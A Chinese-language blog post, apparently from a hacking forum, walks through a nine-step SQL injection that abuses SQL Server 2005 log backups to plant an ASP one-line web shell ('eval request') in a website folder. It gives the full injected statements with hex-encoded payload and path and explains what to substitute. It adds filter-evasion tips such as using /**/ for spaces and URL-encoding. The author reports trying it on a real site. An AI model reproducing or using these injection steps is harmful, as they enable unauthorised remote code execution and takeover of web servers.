網(wǎng)站路徑也搞到了，本想使用差異備份，在數(shù)據(jù)庫日志中插入一句話，然后備份到網(wǎng)站目錄下拿shell的，估計(jì)是用戶沒有備份數(shù)據(jù)庫的權(quán)限，但使用MSSQL2000的備份方法根本行不通，后來才想到MSSQL2005的備份和MSSQL2000有點(diǎn)不同。

后來在網(wǎng)上搜半天沒有找到具體的備份語句，后來在群求助，小冰才發(fā)我了具體的利用語句，但貼出來的文章貌似沒啥水準(zhǔn)，大家都知道手工差異備份是自己需要修改數(shù)據(jù)庫名和網(wǎng)站路徑的，但那個文章中對語句沒有做任何解釋，無奈之下我只好自己嘗試了，雖然測試的網(wǎng)站沒有成功拿下shell，單語句是沒有錯誤的，我在本地的MSSQL2005的查詢分析器中測試通過了，再次特將語句整理出來分享個大家，并做好詳細(xì)的解釋說明，首先來貼出語句。

第一步
;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full--

第二步：
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

第三步
;drop/**/table/**/[itpro]--

第四步
;create/**/table/**/[itpro]([a]/**/image)--

第五步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

第六步
;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--

第七步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

第八步
;drop/**/table/**/[itpro]--

第九步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

其中紅色的“Hospital”既是數(shù)據(jù)庫名，這個要根據(jù)自己的情況來修改，然后黃色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句話“<%eval request("a")%>”的內(nèi)容，橙色的“0x65003A005C007700650062005C007A002E00610073007000”為備份的路徑“e:\web\z.asp”，都是使用的SQL_En的格式，另外第三步大可以不需要！他是刪除itpro的表，如果第一次的話這個表是不存在的，就會提示無權(quán)限的信息。另外在語句“disk=@d”的地方可以將“=”更換成“%3D”，就是使用URL編碼。“/**/”就等于空格了，這個大家在學(xué)習(xí)注入的過程中應(yīng)該了解，也可以更換成“%20”。

最新評論